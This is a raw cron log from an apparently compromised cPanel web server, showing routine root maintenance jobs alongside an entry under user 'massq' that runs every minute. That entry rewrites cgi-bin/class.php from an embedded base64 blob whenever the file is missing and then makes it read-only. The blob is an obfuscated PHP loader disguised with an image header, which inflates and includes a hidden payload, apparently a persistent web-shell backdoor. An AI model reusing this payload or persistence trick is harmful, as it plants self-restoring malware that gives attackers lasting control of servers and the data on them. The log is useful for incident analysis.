Sep  5 07:48:01 server CROND[19708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:48:01 server CROND[19709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:49:01 server CROND[20175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:49:01 server CROND[20176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:49:01 server CROND[20177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:50:01 server CROND[20567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 07:50:01 server CROND[20570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:50:01 server CROND[20571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:50:01 server CROND[20573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:50:01 server CROND[20575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 07:50:01 server CROND[20576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:50:01 server CROND[20574]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:50:01 server CROND[20578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:50:01 server CROND[20572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:51:01 server CROND[21409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:51:01 server CROND[21410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:51:01 server CROND[21411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:52:01 server CROND[21788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:52:01 server CROND[21790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:52:01 server CROND[21791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:53:01 server CROND[22170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:53:01 server CROND[22171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:53:01 server CROND[22172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:54:01 server CROND[22634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:54:01 server CROND[22635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:54:01 server CROND[22636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:55:01 server CROND[23194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:55:01 server CROND[23196]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 07:55:01 server CROND[23197]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 07:55:01 server CROND[23198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 07:55:01 server CROND[23203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 07:55:01 server CROND[23202]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:55:01 server CROND[23204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:56:01 server CROND[24035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:56:01 server CROND[24036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:56:01 server CROND[24038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:57:01 server CROND[24408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:57:01 server CROND[24409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:57:01 server CROND[24410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:57:01 server CROND[24411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 07:58:01 server CROND[24776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:58:01 server CROND[24777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 07:58:01 server CROND[24778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:59:01 server CROND[25271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 07:59:01 server CROND[25272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 07:59:01 server CROND[25273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 08:00:01 server CROND[25657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 08:00:01 server CROND[25658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 08:00:01 server CROND[25662]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep  5 08:00:01 server CROND[25669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
